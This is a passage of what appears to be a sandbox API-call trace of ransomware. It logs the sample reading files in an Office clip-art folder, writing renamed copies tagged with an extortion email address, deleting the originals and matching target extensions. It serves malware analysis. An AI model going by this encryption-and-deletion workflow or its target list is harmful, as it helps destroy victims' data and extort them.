Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0136.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0136.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0136.941] lstrlenW (lpString=".doc") returned 4 [0136.941] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.941] lstrlenW (lpString=".docx") returned 5 [0136.941] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0136.942] lstrlenW (lpString=".pdf") returned 4 [0136.942] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.942] lstrlenW (lpString=".xls") returned 4 [0136.942] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.942] lstrlenW (lpString=".xlsx") returned 5 [0136.942] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0136.942] lstrlenW (lpString=".ppt") returned 4 [0136.942] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0136.942] lstrlenW (lpString=".zip") returned 4 [0136.942] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.942] lstrlenW (lpString=".rar") returned 4 [0136.942] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.942] lstrlenW (lpString=".bz2") returned 4 [0136.942] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.942] lstrlenW (lpString=".7z") returned 3 [0136.942] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0136.942] lstrlenW (lpString=".dbf") returned 4 [0136.942] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0136.942] lstrlenW (lpString=".1cd") returned 4 [0136.942] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0136.942] lstrlenW (lpString=".jpg") returned 4 [0136.942] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0136.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0136.943] lstrlenW (lpString=".doc") returned 4 [0136.943] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.943] lstrlenW (lpString=".docx") returned 5 [0136.943] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0136.943] lstrlenW (lpString=".pdf") returned 4 [0136.943] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.943] lstrlenW (lpString=".xls") returned 4 [0136.943] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.943] lstrlenW (lpString=".xlsx") returned 5 [0136.943] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0136.943] lstrlenW (lpString=".ppt") returned 4 [0136.943] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0136.943] lstrlenW (lpString=".zip") returned 4 [0136.943] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.943] lstrlenW (lpString=".rar") returned 4 [0136.943] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.943] lstrlenW (lpString=".bz2") returned 4 [0136.943] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.943] lstrlenW (lpString=".7z") returned 3 [0136.943] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0136.943] lstrlenW (lpString=".dbf") returned 4 [0136.943] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0136.943] lstrlenW (lpString=".1cd") returned 4 [0136.943] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0136.943] lstrlenW (lpString=".jpg") returned 4 [0136.943] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.943] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.943] lstrlenW (lpString="PARNT_03.MID") returned 12 [0136.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0136.944] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=8538) returned 1 [0136.944] CloseHandle (hObject=0x4dc) returned 1 [0136.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220 [0136.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0136.944] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.945] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0136.945] GetLastError () returned 0x0 [0136.945] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x215a, lpOverlapped=0x0) returned 1 [0137.331] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2160, lpOverlapped=0x0) returned 1 [0137.332] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.332] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.332] SetEndOfFile (hFile=0x4b4) returned 1 [0137.419] CloseHandle (hObject=0x4b4) returned 1 [0137.419] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.419] SetEndOfFile (hFile=0x4dc) returned 1 [0137.422] CloseHandle (hObject=0x4dc) returned 1 [0137.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0137.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0137.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0137.432] lstrlenW (lpString=".doc") returned 4 [0137.432] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.432] lstrlenW (lpString=".docx") returned 5 [0137.432] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0137.432] lstrlenW (lpString=".pdf") returned 4 [0137.432] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.432] lstrlenW (lpString=".xls") returned 4 [0137.432] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.432] lstrlenW (lpString=".xlsx") returned 5 [0137.432] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0137.432] lstrlenW (lpString=".ppt") returned 4 [0137.432] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0137.433] lstrlenW (lpString=".zip") returned 4 [0137.433] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.433] lstrlenW (lpString=".rar") returned 4 [0137.433] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.433] lstrlenW (lpString=".bz2") returned 4 [0137.433] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.433] lstrlenW (lpString=".7z") returned 3 [0137.433] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0137.433] lstrlenW (lpString=".dbf") returned 4 [0137.433] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0137.433] lstrlenW (lpString=".1cd") returned 4 [0137.433] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0137.433] lstrlenW (lpString=".jpg") returned 4 [0137.433] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0137.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0137.433] lstrlenW (lpString=".doc") returned 4 [0137.433] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.433] lstrlenW (lpString=".docx") returned 5 [0137.433] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0137.433] lstrlenW (lpString=".pdf") returned 4 [0137.433] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.433] lstrlenW (lpString=".xls") returned 4 [0137.433] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.433] lstrlenW (lpString=".xlsx") returned 5 [0137.433] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0137.433] lstrlenW (lpString=".ppt") returned 4 [0137.433] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0137.433] lstrlenW (lpString=".zip") returned 4 [0137.433] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.433] lstrlenW (lpString=".rar") returned 4 [0137.434] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.434] lstrlenW (lpString=".bz2") returned 4 [0137.434] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.434] lstrlenW (lpString=".7z") returned 3 [0137.434] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0137.434] lstrlenW (lpString=".dbf") returned 4 [0137.434] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0137.434] lstrlenW (lpString=".1cd") returned 4 [0137.434] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0137.434] lstrlenW (lpString=".jpg") returned 4 [0137.434] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.434] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.434] lstrlenW (lpString="SWEST_01.MID") returned 12 [0137.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0137.435] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=8501) returned 1 [0137.435] CloseHandle (hObject=0x4dc) returned 1 [0137.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220 [0137.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0137.435] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.435] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0137.436] GetLastError () returned 0x0 [0137.436] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x2135, lpOverlapped=0x0) returned 1 [0137.440] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2140, lpOverlapped=0x0) returned 1 [0137.440] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.440] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.441] SetEndOfFile (hFile=0x4b4) returned 1 [0137.441] CloseHandle (hObject=0x4b4) returned 1 [0137.443] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.443] SetEndOfFile (hFile=0x4dc) returned 1 [0137.447] CloseHandle (hObject=0x4dc) returned 1 [0137.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0137.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0137.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0137.450] lstrlenW (lpString=".doc") returned 4 [0137.450] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.450] lstrlenW (lpString=".docx") returned 5 [0137.450] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.450] lstrlenW (lpString=".pdf") returned 4 [0137.450] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.450] lstrlenW (lpString=".xls") returned 4 [0137.450] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.450] lstrlenW (lpString=".xlsx") returned 5 [0137.450] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.450] lstrlenW (lpString=".ppt") returned 4 [0137.450] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0137.450] lstrlenW (lpString=".zip") returned 4 [0137.450] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.450] lstrlenW (lpString=".rar") returned 4 [0137.450] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.451] lstrlenW (lpString=".bz2") returned 4 [0137.451] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.451] lstrlenW (lpString=".7z") returned 3 [0137.451] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0137.451] lstrlenW (lpString=".dbf") returned 4 [0137.451] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0137.451] lstrlenW (lpString=".1cd") returned 4 [0137.451] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0137.451] lstrlenW (lpString=".jpg") returned 4 [0137.451] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0137.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0137.451] lstrlenW (lpString=".doc") returned 4 [0137.451] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.451] lstrlenW (lpString=".docx") returned 5 [0137.451] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.451] lstrlenW (lpString=".pdf") returned 4 [0137.451] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.451] lstrlenW (lpString=".xls") returned 4 [0137.451] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.451] lstrlenW (lpString=".xlsx") returned 5 [0137.451] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.451] lstrlenW (lpString=".ppt") returned 4 [0137.451] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0137.451] lstrlenW (lpString=".zip") returned 4 [0137.451] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.451] lstrlenW (lpString=".rar") returned 4 [0137.451] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.451] lstrlenW (lpString=".bz2") returned 4 [0137.451] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.451] lstrlenW (lpString=".7z") returned 3 [0137.452] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0137.452] lstrlenW (lpString=".dbf") returned 4 [0137.452] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0137.452] lstrlenW (lpString=".1cd") returned 4 [0137.452] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0137.452] lstrlenW (lpString=".jpg") returned 4 [0137.452] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.452] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.452] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0137.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0137.453] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4961) returned 1 [0137.453] CloseHandle (hObject=0x4dc) returned 1 [0137.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220 [0137.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0137.453] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.453] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.454] GetLastError () returned 0x0 [0137.454] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x1361, lpOverlapped=0x0) returned 1 [0137.462] WriteFile (in: hFile=0x4c4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x1370, lpOverlapped=0x0) returned 1 [0137.462] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.463] WriteFile (in: hFile=0x4c4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.463] SetEndOfFile (hFile=0x4c4) returned 1 [0137.463] CloseHandle (hObject=0x4c4) returned 1 [0137.463] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.463] SetEndOfFile (hFile=0x4dc) returned 1 [0137.465] CloseHandle (hObject=0x4dc) returned 1 [0137.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0137.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0137.466] lstrlenW (lpString="C:\\Program Files\\Microsoft 